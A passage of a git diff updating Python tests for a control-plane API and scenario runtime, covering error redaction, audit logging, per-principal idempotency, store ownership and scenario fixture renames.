test_control_plane_api_rejects_unregistered_nonempty_phase_plan(domain: str) "x-raes-client-identity": "backend-service", }, ) + audit_reason = control_plane.audit_log()[-1].reason assert response.status_code == 403 assert response.json() == {"detail": f"{domain} plan is not planner-authorized"} - assert control_plane.audit_log()[-1].reason == "planner-authorization-mismatch" + assert audit_reason == "planner-authorization-mismatch" def test_control_plane_api_redacts_unexpected_route_errors(monkeypatch: pytest.MonkeyPatch) -> None: @@ -520,11 +567,134 @@ def test_control_plane_api_redacts_unexpected_route_errors(monkeypatch: pytest.M "/snapshot", headers={"authorization": "Bearer test-auditor-token"}, ) + audit_event = control_plane.audit_log()[-1] assert response.status_code == 500 assert response.json() == {"detail": "internal server error"} assert "SECRET-BACKEND-DETAIL" not in response.text - assert control_plane.audit_log()[-1].reason == "internal-error:RuntimeError" + # Stable audit reason: no exception class name (issue-1188 preflight). + assert audit_event.reason == "internal-error" + assert audit_event.action == "http-internal-error" + assert audit_event.target == control_plane._target_scope + assert "RuntimeError" not in audit_event.reason + + +def test_control_plane_api_internal_error_survives_audit_failure(monkeypatch: pytest.MonkeyPatch) -> None: + """A failed secondary audit must not replace the stable 500 envelope (core-F1).""" + + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + + def failing_audit(*_args: object, **_kwargs: object) -> None: + raise RuntimeError("audit store unavailable /var/secret") + + monkeypatch.setattr(control_plane, "get_snapshot", lambda: (_ for _ in ()).throw(RuntimeError("boom"))) + monkeypatch.setattr(control_plane, "record_audit", failing_audit) + + with TestClient(app, raise_server_exceptions=False) as client: + response = client.get("/snapshot", headers={"authorization": "Bearer test-auditor-token"}) + + assert response.status_code == 500 + assert response.json() == {"detail": "internal server error"} + assert "audit store unavailable" not in response.text + assert "/var/secret" not in response.text + + +def test_control_plane_api_request_validation_error_survives_audit_failure( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """A failed secondary audit must not replace the stable 422 envelope (core-F1).""" + + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + + def failing_audit(*_args: object, **_kwargs: object) -> None: + raise RuntimeError("audit store unavailable /var/secret") + + monkeypatch.setattr(control_plane, "record_audit", failing_audit) + headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + } + + with TestClient(app, raise_server_exceptions=False) as client: + response = client.post("/operations/provisioning", json={"operations": "not-a-list"}, headers=headers) + + assert response.status_code == 422 + assert response.json() == {"detail": "request validation failed"} + assert "audit store unavailable" not in response.text + assert "/var/secret" not in response.text + + +@pytest.mark.parametrize( + ("method_name", "path", "payload"), + ( + ( + "submit_provisioning", + "/operations/provisioning", + {"operations": [], "diagnostics": [], "realization_authority": []}, + ), + ( + "submit_orchestration", + "/operations/orchestration", + {"operations": [], "startup_order": [], "diagnostics": []}, + ), + ("submit_evaluation", "/operations/evaluation", {"operations": [], "diagnostics": []}), + ), +) +def test_control_plane_api_redacts_core_conflict_exception_text( + monkeypatch: pytest.MonkeyPatch, + method_name: str, + path: str, + payload: dict[str, object], +) -> None: + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + secret = "token=abcd /var/secrets/store.db SELECT * FROM operations WHERE actor='alice'" + + def leaking(*_args: object, **_kwargs: object) -> None: + raise ValueError(secret) + + monkeypatch.setattr(control_plane, method_name, leaking) + headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + } + + with TestClient(app) as client: + response = client.post(path, json=payload, headers=headers) + + assert response.status_code == 409 + assert response.json() == {"detail": "operation conflict"} + assert "token=abcd" not in response.text + assert "SELECT" not in response.text + assert "/var/secrets" not in response.text + + +def test_control_plane_api_redacts_participant_execution_state_error_text( + monkeypatch: pytest.MonkeyPatch, +) -> None: + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + + def leaking(*_args: object, **_kwargs: object) -> None: + raise ValueError("/secret/exec/path backend disclosure detail") + + monkeypatch.setattr(control_plane, "participant_execution_state", leaking) + + with TestClient(app) as client: + response = client.get( + "/participant-executions/exec-scope-1", + headers={"authorization": "Bearer test-operator-token"}, + ) + + assert response.status_code == 404 + assert "/secret/exec/path" not in response.text + assert "backend disclosure detail" not in response.text def test_control_plane_api_accepts_orchestration_plan_and_exposes_snapshot(): @@ -550,7 +720,7 @@ def test_control_plane_api_accepts_orchestration_plan_and_exposes_snapshot(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -635,7 +805,7 @@ def test_control_plane_api_exposes_operational_apparatus_summary_to_auditors(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -714,10 +884,11 @@ def test_control_plane_api_operational_apparatus_summary_requires_read_role(): with TestClient(app) as client: response = client.get("/apparatus/operational-summary") + audits = control_plane.audit_log() assert response.status_code == 401 - assert control_plane.audit_log() - assert control_plane.audit_log()[-1].allowed is False + assert audits + assert audits[-1].allowed is False def test_operational_apparatus_summary_snapshots_operations_safely_during_mutation() -> None: @@ -816,6 +987,9 @@ def test_control_plane_api_supports_idempotent_retries(): ) second_state = control_plane.get_snapshot() second_status = control_plane.get_operation(second.json()["operation_id"]) + operation_audits = [ + event for event in control_plane.audit_log() if event.operation_id == first.json()["operation_id"] + ] assert first.status_code == 200 assert second.status_code == 200 @@ -825,12 +999,93 @@ def test_control_plane_api_supports_idempotent_retries(): assert second_status == first_status assert second_state == first_state assert set(first_status.changed_addresses) == set(first_state.snapshot.entries) - operation_audits = [ - event for event in control_plane.audit_log() if event.operation_id == first.json()["operation_id"] - ] assert len(operation_audits) == 1 +def test_control_plane_api_scopes_idempotency_claims_per_principal() -> None: + """A shared idempotency key never returns another principal's receipt. + + Claims are scoped by (store, actor, kind, key) (ADR-104 §7; FM3 invariant 8), + so two principals presenting the same key mint distinct operations and neither + can read the other's (guessing an operation id grants no authority). + """ + + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + payload = {"operations": [], "diagnostics": [], "realization_authority": []} + backend_headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + "idempotency-key": "shared-key", + } + operator_headers = { + "authorization": "Bearer test-operator-token", + "idempotency-key": "shared-key", + } + + with TestClient(app) as client: + backend = client.post("/operations/provisioning", json=payload, headers=backend_headers) + operator = client.post("/operations/provisioning", json=payload, headers=operator_headers) + cross_read = client.get( + f"/operations/{backend.json()['operation_id']}", + headers=operator_headers, + ) + + assert backend.status_code == 200 + assert operator.status_code == 200 + assert backend.json()["operation_id"] != operator.json()["operation_id"] + assert backend.json()["context"]["actor_id"] == "backend-service" + assert operator.json()["context"]["actor_id"] == "operator" + assert cross_read.status_code == 404 + + +def test_control_plane_api_commits_one_actor_bound_terminal_audit() -> None: + """A successful mutation commits exactly one actor-bound terminal audit. + + The core transaction owns terminal audit (ADR-104 §4; FM3 invariant 4); the + route appends none. Exactly one operation-scoped audit exists and it carries + the authenticated actor. + """ + + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + app = create_control_plane_app(control_plane, security=_test_security(target.name)) + headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + } + + with TestClient(app) as client: + response = client.post( + "/operations/provisioning", + json={"operations": [], "diagnostics": [], "realization_authority": []}, + headers=headers, + ) + operation_id = response.json()["operation_id"] + operation_audits = [event for event in control_plane.audit_log() if event.operation_id == operation_id] + + assert response.status_code == 200 + assert response.json()["accepted"] is True + assert len(operation_audits) == 1 + assert operation_audits[0].identity == "backend-service" + assert operation_audits[0].allowed is True + + +def test_create_control_plane_app_rejects_multi_worker_configuration( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """P2 is one owning application worker; multi-worker service posture fails closed.""" + + monkeypatch.setenv("WEB_CONCURRENCY", "2") + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + security = _test_security(target.name) + + with pytest.raises(RuntimeError, match="unsupported for a local control-plane store"): + create_control_plane_app(control_plane, security=security) + + def test_slow_backend_submission_does_not_block_unrelated_http_reads( monkeypatch: pytest.MonkeyPatch, ) -> None: @@ -895,6 +1150,140 @@ async def exercise() -> None: _run(exercise()) +def test_participant_status_projection_does_not_contend_with_mutations( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """A side-effect-free API-408 projection must not wait on backend mutation latency. + + With no crossing-policy resolver configured the status view records no + crossing evidence, so it is a pure read: it runs on the non-contending + ``run`` path and carries its observed snapshot revision even while a slow + mutation owns the mutation authority (ADR-104 §2 P2; issue-1188 preflight). + """ + + target = create_stub_target() + control_plane = RuntimeControlPlane(target) + # One mutation slot: while a mutation holds it, the mutate() path fails closed + # with 503, so a pure projection surviving proves it is on the run() path. + app = create_control_plane_app(control_plane, security=_test_security(target.name, max_pending_mutations=1)) + mutate_headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + } + read_headers = {"authorization": "Bearer test-operator-token"} + entered = Event() + release = Event() + real_submit = control_plane.submit_provisioning + + def blocking_submit( + submitted_plan: ProvisioningPlan, + *, + base_snapshot: RuntimeSnapshot | None = None, + idempotency_key: str = "", + request_fingerprint: str = "", + identity: object | None = None, + ) -> OperationReceipt: + entered.set() + if not release.wait(timeout=5): + raise TimeoutError("test backend was not released") + return real_submit( + submitted_plan, + base_snapshot=base_snapshot, + idempotency_key=idempotency_key, + request_fingerprint=request_fingerprint, + identity=identity, + ) + + async def exercise() -> None: + transport = httpx.ASGITransport(app=app) + async with httpx.AsyncClient(transport=transport, base_url="http://testserver") as client: + initialized = await client.post( + "/participants/participant.alice/episodes/initialize", + json={}, + headers=mutate_headers, + ) + assert initialized.status_code == 200 + monkeypatch.setattr(control_plane, "submit_provisioning", blocking_submit) + submission = asyncio.create_task( + client.post( + "/operations/provisioning", + json={"operations": [], "diagnostics": [], "realization_authority": []}, + headers=mutate_headers, + ) + ) + try: + assert await asyncio.to_thread(entered.wait, 2) + assert not submission.done() + status = await asyncio.wait_for( + client.get("/participants/participant.alice/status", headers=read_headers), + timeout=1, + ) + assert status.status_code == 200 + assert status.headers["X-RAES-Snapshot-Revision"] + finally: + release.set() + response = await asyncio.wait_for(submission, timeout=2) + assert response.status_code == 200 + + _run(exercise()) + + +def test_governed_participant_status_view_commits_crossing_before_disclosure() -> None: + """A governed API-408 egress stays a read-shaped mutation. + + With a crossing-policy resolver configured, the status view records a + RUN-319 crossing occurrence before disclosure (the mutation/evidence path a + pure ``run`` read would never take) and an audience-unbound reader is + refused. This is CP-8's "governed egress remains a separately asserted + mutation contract" (issue-1188 preflight). + """ + + from participant_crossing_fixtures import ( + PARTICIPANT, + StaticCrossingResolver, + action_plane, + evidence, + policy_capable_target, + ) + from participant_crossing_fixtures import identity as _governed_identity + + class _ViewEvidenceResolver(StaticCrossingResolver): + """A resolver that supplies trusted egress evidence to the HTTP adapter.""" + + def resolve_participant_view_evidence(self, **_kwargs: object): + return evidence() + + target = policy_capable_target("participant_egress_projection", "participant_transformation") + control_plane = action_plane(_ViewEvidenceResolver(), target=target) + security = ControlPlaneSecurityConfig( + trust_proxy_identity_headers=False, + bearer_tokens={ + "audience-token": _governed_identity(audience_bound=True), + "unbound-token": _governed_identity(audience_bound=False), + }, + ) + app = create_control_plane_app(control_plane, security=security) + + with TestClient(app) as client: + before = len(control_plane.snapshot.participant_crossing_history.get(PARTICIPANT, ())) + governed = client.get( + f"/participants/{PARTICIPANT}/status", + headers={"authorization": "Bearer audience-token"}, + ) + after = len(control_plane.snapshot.participant_crossing_history.get(PARTICIPANT, ())) + forbidden = client.get( + f"/participants/{PARTICIPANT}/status", + headers={"authorization": "Bearer unbound-token"}, + ) + + assert governed.status_code == 200 + assert governed.headers["X-RAES-Snapshot-Revision"] + # A pure read records no crossing history; growth proves the governed egress + # committed its RUN-319 evidence through the mutation path before disclosure. + assert after > before + assert forbidden.status_code == 403 + + def test_control_plane_rejects_mutation_queue_overload( monkeypatch: pytest.MonkeyPatch, ) -> None: @@ -1068,10 +1457,11 @@ def test_backend_principal_cannot_rewrite_registered_realization_authority() -> "x-raes-client-identity": "backend-service", }, ) + snapshot_entries = control_plane.snapshot.entries assert response.status_code == 403 assert response.json() == {"detail": "provisioning plan is not planner-authorized"} - assert control_plane.snapshot.entries == {} + assert snapshot_entries == {} @pytest.mark.parametrize( @@ -1146,8 +1536,9 @@ def test_generic_operation_principal_cannot_mint_observation_policy( def test_authenticated_snapshot_preserves_realization_governing_scope_from_store(tmp_path: Path): target = create_stub_target() - store = LocalControlPlaneStore(tmp_path / "cp-store") - store.save_snapshot( + store_path = tmp_path / "cp-store" + preparation_store = _admitted_local_store(store_path) + preparation_store.save_snapshot( RuntimeSnapshot( realization_provenance=( RealizationProvenanceEntry( @@ -1161,9 +1552,10 @@ def test_authenticated_snapshot_preserves_realization_governing_scope_from_store ), ), ), - expected_revision=store.load_snapshot_state().revision, + expected_revision=preparation_store.load_snapshot_state().revision, ) - restarted = RuntimeControlPlane(target, store=store) + _close_admitted_local_store(preparation_store) + restarted = RuntimeControlPlane(target, store=LocalControlPlaneStore(store_path)) app = create_control_plane_app( restarted, security=_test_security(target.name), @@ -1199,10 +1591,11 @@ def test_control_plane_api_records_audit_events_for_denials(): with TestClient(app) as client: response = client.get("/snapshot") + audits = control_plane.audit_log() assert response.status_code == 401 - assert control_plane.audit_log() - assert control_plane.audit_log()[-1].allowed is False + assert audits + assert audits[-1].allowed is False def test_control_plane_api_enforces_request_size_limit(): @@ -1245,10 +1638,11 @@ def test_control_plane_api_rejects_invalid_content_length_header(): content=b'{"operations":[],"diagnostics":[]}', headers=headers, ) + audit_reason = control_plane.audit_log()[-1].reason assert response.status_code == 400 assert response.json() == {"detail": "invalid content-length"} - assert control_plane.audit_log()[-1].reason == "invalid content-length" + assert audit_reason == "invalid content-length" def test_control_plane_api_enforces_request_size_limit_without_content_length(): @@ -1273,10 +1667,11 @@ def _chunked_body(): content=_chunked_body(), headers=headers, ) + audit_reason = control_plane.audit_log()[-1].reason assert response.status_code == 413 assert response.json() == {"detail": "request too large"} - assert control_plane.audit_log()[-1].reason == "request too large" + assert audit_reason == "request too large" def test_control_plane_api_rejects_invalid_bearer_token_instead_of_trusting_headers(): @@ -1297,11 +1692,12 @@ def test_control_plane_api_rejects_invalid_bearer_token_instead_of_trusting_head "x-raes-client-identity": "backend-service", }, ) + audits = control_plane.audit_log() assert response.status_code == 401 - assert response.json() == {"detail": "invalid bearer token"} - assert control_plane.audit_log()[-1].reason == "invalid bearer token" - assert control_plane.audit_log()[-1].allowed is False + assert response.json() == {"detail": "unauthorized"} + assert audits[-1].reason == "invalid bearer token" + assert audits[-1].allowed is False def test_control_plane_auth_rejects_non_ascii_bearer_token_as_unauthorized(): @@ -1326,10 +1722,10 @@ def test_control_plane_auth_rejects_non_ascii_bearer_token_as_unauthorized(): ) with pytest.raises(HTTPException) as excinfo: - auth.read_identity(request) + auth.admit(request, ControlPlaneRouteAuthority.ADMINISTRATIVE_READ) assert excinfo.value.status_code == 401 - assert excinfo.value.detail == "invalid bearer token" + assert excinfo.value.detail == "unauthorized" def test_control_plane_api_rejects_bearer_token_bound_to_another_target(): @@ -1359,7 +1755,7 @@ def test_control_plane_api_rejects_bearer_token_bound_to_another_target(): ) assert response.status_code == 403 - assert response.json() == {"detail": "identity is not authorized for this target"} + assert response.json() == {"detail": "forbidden"} @pytest.mark.parametrize("authentication_path", ["bearer", "verified-proxy"]) @@ -1388,7 +1784,7 @@ def test_control_plane_api_rejects_identity_without_target_binding(authenticatio response = client.get("/snapshot", headers=headers) assert response.status_code == 403 - assert response.json() == {"detail": "identity is not authorized for this target"} + assert response.json() == {"detail": "forbidden"} def test_control_plane_security_config_mappings_cannot_be_mutated_after_construction(): @@ -1452,7 +1848,7 @@ async def send(message: dict[str, object]) -> None: def test_local_control_plane_store_commits_snapshot_to_wal_database(tmp_path: Path): store_path = tmp_path / "cp-store" - store = LocalControlPlaneStore(store_path) + store = _admitted_local_store(store_path) store.save_snapshot(RuntimeSnapshot(), expected_revision=store.load_snapshot_state().revision) with closing(sqlite3.connect(store_path / "control-plane.sqlite3")) as connection, connection: @@ -1469,7 +1865,7 @@ def test_local_control_plane_store_rolls_back_snapshot_transaction_failure( tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ): - store = LocalControlPlaneStore(tmp_path / "cp-store") + store = _admitted_local_store(tmp_path / "cp-store") real_upsert = store._upsert_snapshot def fail_upsert( @@ -1493,7 +1889,8 @@ def fail_upsert( def test_local_control_plane_store_preserves_concurrent_operation_writes(tmp_path: Path) -> None: store_path = tmp_path / "cp-store" - stores = (LocalControlPlaneStore(store_path), LocalControlPlaneStore(store_path)) + store = _admitted_local_store(store_path) + stores = (store, store) records = [ replace( _participant_operation_record( @@ -1512,12 +1909,12 @@ def save(index: int) -> None: with ThreadPoolExecutor(max_workers=8) as executor: list(executor.map(save, range(len(records)))) - assert set(LocalControlPlaneStore(store_path).load_records()) == {record.receipt.operation_id for record in records} + assert set(store.load_records()) == {record.receipt.operation_id for record in records} -def test_local_control_plane_store_preserves_cross_process_operation_writes(tmp_path: Path) -> None: +def test_local_control_plane_store_rejects_unadmitted_cross_process_operation_writes(tmp_path: Path) -> None: store_path = tmp_path / "cp-store" - LocalControlPlaneStore(store_path) + owner = _admitted_local_store(store_path) context = get_context("spawn") barrier = context.Barrier(4) processes = [ @@ -1537,17 +1934,16 @@ def test_local_control_plane_store_preserves_cross_process_operation_writes(tmp_ process.terminate() process.join(timeout=5) - assert [process.exitcode for process in processes] == [0, 0, 0, 0] - assert set(LocalControlPlaneStore(store_path).load_records()) == { - f"process-operation-{index}" for index in range(4) - } + assert all(process.exitcode not in (0, None) for process in processes) + assert owner.load_records() == {} -def test_local_control_plane_store_claims_idempotency_key_once_across_instances( +def test_local_control_plane_store_claims_idempotency_key_once_for_one_owner( tmp_path: Path, ) -> None: store_path = tmp_path / "cp-store" - stores = (LocalControlPlaneStore(store_path), LocalControlPlaneStore(store_path)) + store = _admitted_local_store(store_path) + stores = (store, store) records = tuple( replace( _participant_operation_record( @@ -1569,7 +1965,7 @@ def claim(index: int) -> ControlPlaneOperationRecord: claimed = list(executor.map(claim, range(2))) assert len({record.receipt.operation_id for record in claimed}) == 1 - assert len(LocalControlPlaneStore(store_path).load_records()) == 1 + assert len(store.load_records()) == 1 def test_control_plane_api_cancels_workflow_runs(): @@ -1595,7 +1991,7 @@ def test_control_plane_api_cancels_workflow_runs(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -1676,7 +2072,7 @@ def test_control_plane_api_reconciles_workflow_timeouts(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -1772,7 +2168,7 @@ def test_control_plane_api_cancellation_triggers_compensation_history(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: rollback: @@ -1901,7 +2297,7 @@ def test_control_plane_api_timeout_triggers_compensation_history(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: rollback: @@ -2106,7 +2502,9 @@ def test_terminate_route_rejects_invalid_terminal_reason(self): ) assert response.status_code == 400 - assert "invalid terminal_reason" in response.json()["detail"] + assert response.json()["detail"] == "invalid terminal_reason" + assert "exploded" not in response.text + assert "ParticipantEpisodeTerminalReason" not in response.text def test_restart_route_resumes_after_termination(self): client = self._build_client() diff --git a/implementations/python/tests/test_runtime_manager.py b/implementations/python/tests/test_runtime_manager.py index 4d1a86c24..19f96f693 100644 --- a/implementations/python/tests/test_runtime_manager.py +++ b/implementations/python/tests/test_runtime_manager.py @@ -127,7 +127,7 @@ def _workflow_scenario(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -164,7 +164,7 @@ def _workflow_call_scenario(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: child: diff --git a/implementations/python/tests/test_runtime_models.py b/implementations/python/tests/test_runtime_models.py index 1a9eca0c6..9f6247a98 100644 --- a/implementations/python/tests/test_runtime_models.py +++ b/implementations/python/tests/test_runtime_models.py @@ -508,7 +508,7 @@ def test_objective_windows_and_workflows_resolve_refresh_dependencies(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: stories: [main] @@ -606,7 +606,7 @@ def test_objective_window_step_outside_window_workflows_fails_admission(self): blue: {role: blue} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: workflows: [flow] @@ -671,7 +671,7 @@ def test_missing_runtime_graph_refs_fail_compiler_admission(self): health: {command: /bin/true, interval: 15} objectives: initial: - entity: blue + owner: blue success: assertions: [missing-assertion] window: @@ -739,10 +739,10 @@ def test_workflow_with_retry_and_step_state_compiles(self): blue: {role: blue} objectives: attempt: - entity: blue + owner: blue success: {assertions: [health]} recover: - entity: blue + owner: blue success: {assertions: [health]} workflows: retry: @@ -818,13 +818,13 @@ def test_parallel_join_compiles_as_barrier_with_typed_predicate(self): blue: {role: blue} objectives: left: - entity: blue + owner: blue success: {assertions: [health]} right: - entity: blue + owner: blue success: {assertions: [health]} recover: - entity: blue + owner: blue success: {assertions: [health]} workflows: flow: @@ -936,7 +936,7 @@ def test_module_expansion_compiles_namespaced_runtime_addresses(self, tmp_path: role: blue objectives: validate: - entity: blue + owner: blue success: assertions: [health] workflows: @@ -1000,7 +1000,7 @@ def test_workflow_switch_call_and_timeout_compile_to_explicit_contracts(self): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: child: @@ -1073,7 +1073,7 @@ def test_workflow_compensation_compiles_to_explicit_contracts(self): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: rollback: diff --git a/implementations/python/tests/test_runtime_planner.py b/implementations/python/tests/test_runtime_planner.py index 8db8db6cd..6bad0307a 100644 --- a/implementations/python/tests/test_runtime_planner.py +++ b/implementations/python/tests/test_runtime_planner.py @@ -311,11 +311,11 @@ def test_compiler_admission_rejects_cyclic_objective_dependencies(self): blue: {role: blue} objectives: first: - entity: blue + owner: blue success: {assertions: [health]} depends_on: [second] second: - entity: blue + owner: blue success: {assertions: [health]} depends_on: [first] """), @@ -351,7 +351,7 @@ def test_dependency_changes_propagate_through_evaluation_graph(self): blue: {role: blue} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} """) ) @@ -383,7 +383,7 @@ def test_dependency_changes_propagate_through_evaluation_graph(self): blue: {role: blue} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} """, snapshot, @@ -480,7 +480,7 @@ def test_compiler_admission_rejects_unbound_inject_refs(self): blue: {role: blue} objectives: check: - entity: blue + owner: blue success: {assertions: [health]} events: kickoff: {assertions: [pre-health], injects: [mail]} @@ -564,7 +564,7 @@ def test_compiler_admission_rejects_unbound_inject_refs(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: defend: - entity: blue + owner: blue success: {assertions: [health]} workflows: flow: @@ -604,7 +604,7 @@ def test_compiler_admission_rejects_unbound_inject_refs(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: defend: - entity: blue + owner: blue success: {assertions: [health]} workflows: flow: @@ -651,7 +651,7 @@ def test_compiler_admission_rejects_unbound_inject_refs(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: defend: - entity: blue + owner: blue success: {assertions: [health]} workflows: flow: @@ -699,10 +699,10 @@ def test_compiler_admission_rejects_unbound_inject_refs(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: left: - entity: blue + owner: blue success: {assertions: [health]} right: - entity: blue + owner: blue success: {assertions: [health]} workflows: flow: @@ -771,7 +771,7 @@ def test_workflow_assertion_changes_force_workflow_refresh(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} entities: blue: {role: blue} @@ -813,7 +813,7 @@ def test_workflow_assertion_changes_force_workflow_refresh(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} entities: blue: {role: blue} @@ -904,7 +904,7 @@ def test_objective_window_refs_are_refresh_only(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: workflows: [flow] @@ -960,7 +960,7 @@ def test_objective_updates_when_window_dependencies_change(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} window: scripts: [timeline] @@ -1156,7 +1156,7 @@ def test_semantic_capability_validation_catches_real_requirements(self): pre-health: {proposition: health, role: precondition, polarity: positive} objectives: defend: - entity: blue + owner: blue success: {assertions: [health]} entities: blue: {role: blue} @@ -1785,7 +1785,7 @@ def test_dependency_ordering_across_domain_plans(self): mail: {source: inbox} objectives: initial: - entity: blue + owner: blue success: {assertions: [health]} entities: blue: {role: blue} diff --git a/implementations/python/tests/test_runtime_service_listeners.py b/implementations/python/tests/test_runtime_service_listeners.py index 001ef68db..acaed12fb 100644 --- a/implementations/python/tests/test_runtime_service_listeners.py +++ b/implementations/python/tests/test_runtime_service_listeners.py @@ -193,9 +193,13 @@ def test_runtime_service_listener_rejects_network_local_socket_scope() -> None: ) -def test_unix_listener_requires_socket_path_and_no_port() -> None: - with pytest.raises(ValidationError, match="Unix listeners require socket_path"): - RuntimeServiceListener(service_listener_id="unix", protocol="unix", address_family="unix") +def test_partial_unix_listener_permits_missing_path_but_rejects_network_fields() -> None: + partial = RuntimeServiceListener(service_listener_id="unix", protocol="unix", address_family="unix") + assert partial.model_dump(mode="json", exclude_unset=True) == { + "service_listener_id": "unix", + "protocol": "unix", + "address_family": "unix", + } with pytest.raises(ValidationError, match="Unix listeners must not set port"): RuntimeServiceListener( @@ -206,6 +210,19 @@ def test_unix_listener_requires_socket_path_and_no_port() -> None: port=1, ) + with pytest.raises(ValidationError, match="Unix listeners must not set bind_interface"): + RuntimeServiceListener(service_listener_id="unix", protocol="unix", bind_interface="lo") + + +def test_listener_rejects_mixed_supplied_unix_and_network_shapes() -> None: + with pytest.raises(ValidationError, match="must not combine Unix socket and network endpoint fields"): + RuntimeServiceListener( + service_listener_id="ambiguous", + protocol="unknown", + socket_path="/run/app.sock", + port=80, + ) + def test_runtime_service_listener_semantics_resolve_refs() -> None: scenario = Scenario(name="listeners", nodes={"misp": _node()}) diff --git a/implementations/python/tests/test_sce_004_goal_oriented_steps.py b/implementations/python/tests/test_sce_004_goal_oriented_steps.py index c24824a13..e34ca39b9 100644 --- a/implementations/python/tests/test_sce_004_goal_oriented_steps.py +++ b/implementations/python/tests/test_sce_004_goal_oriented_steps.py @@ -128,7 +128,7 @@ def test_tool_affordance_constraint_must_resolve() -> None: restored: {proposition: restored, role: postcondition, polarity: positive} objectives: restore-service: - entity: operator + owner: operator success: {assertions: [restored]} workflows: response: @@ -196,7 +196,7 @@ def _governed_goal_scenario() -> str: restored: {proposition: restored, role: postcondition, polarity: positive} objectives: restore-service: - entity: operator + owner: operator targets: [entities.operator] success: {assertions: [restored]} workflows: diff --git a/implementations/python/tests/test_scenarios.py b/implementations/python/tests/test_scenarios.py index bee602368..3b11c61ce 100644 --- a/implementations/python/tests/test_scenarios.py +++ b/implementations/python/tests/test_scenarios.py @@ -7,7 +7,6 @@ name: test-scenario description: Minimal SDL scenario """ -EXAMPLE_SCENARIOS = sorted(EXAMPLES_DIR.glob("*.sdl.yaml")) REFERENCE_SCENARIO = EXAMPLES_DIR / "enterprise-participant-evidence-loop.sdl.yaml" COMPLEX_EXAMPLES = [ EXAMPLES_DIR / "hospital-ransomware-surgery-day.sdl.yaml", @@ -114,22 +113,6 @@ def test_returns_empty_for_missing_directory(self, tmp_path): assert find_scenarios(tmp_path / "missing") == [] -def test_example_scenario_corpus_is_nonempty(): - """A stale corpus root must fail loudly, not collect zero parametrized cases.""" - assert EXAMPLE_SCENARIOS, f"No example SDL scenarios found under {EXAMPLES_DIR} (glob '*.sdl.yaml')" - - -@pytest.mark.parametrize("path", EXAMPLE_SCENARIOS, ids=lambda path: path.name) -def test_example_scenarios_load(path): - """Every example SDL should load successfully from disk.""" - from raes.scenarios import load_scenario - - scenario = load_scenario(path) - - assert scenario.name - assert scenario.advisories == [] - - @pytest.mark.parametrize("path", COMPLEX_EXAMPLES, ids=lambda path: path.name) def test_complex_examples_have_experiment_semantics(path): """Curated complex examples should exercise the full experiment surface.""" diff --git a/implementations/python/tests/test_scientific_scenario_completeness.py b/implementations/python/tests/test_scientific_scenario_completeness.py index d3d3904be..33e28b876 100644 --- a/implementations/python/tests/test_scientific_scenario_completeness.py +++ b/implementations/python/tests/test_scientific_scenario_completeness.py @@ -109,9 +109,8 @@ def test_published_completeness_fixtures_exercise_semantic_validation( assert (not diagnostics) is valid -@pytest.mark.parametrize( - "concern_id", - [ +def test_issue_required_concerns_are_atomic_and_present() -> None: + required_concerns = { "authored-observed-state-separation", "scoped-specificity-open-world-intent", "parameter-typing", @@ -144,11 +143,9 @@ def test_published_completeness_fixtures_exercise_semantic_validation( "flexible-step-tooling", "portable-behavior-contracts", "behavioral-relation-taxonomy", - ], -) -def test_issue_required_concerns_are_atomic_and_present(concern_id: str) -> None: + } taxonomy = load_scientific_completeness_taxonomy() - assert concern_id in {concern.concern_id for concern in taxonomy.concerns} + assert required_concerns <= {concern.concern_id for concern in taxonomy.concerns} def test_completeness_is_computed_and_does_not_overclaim_stronger_profiles() -> None: diff --git a/implementations/python/tests/test_sdl_catalog_parity.py b/implementations/python/tests/test_sdl_catalog_parity.py index 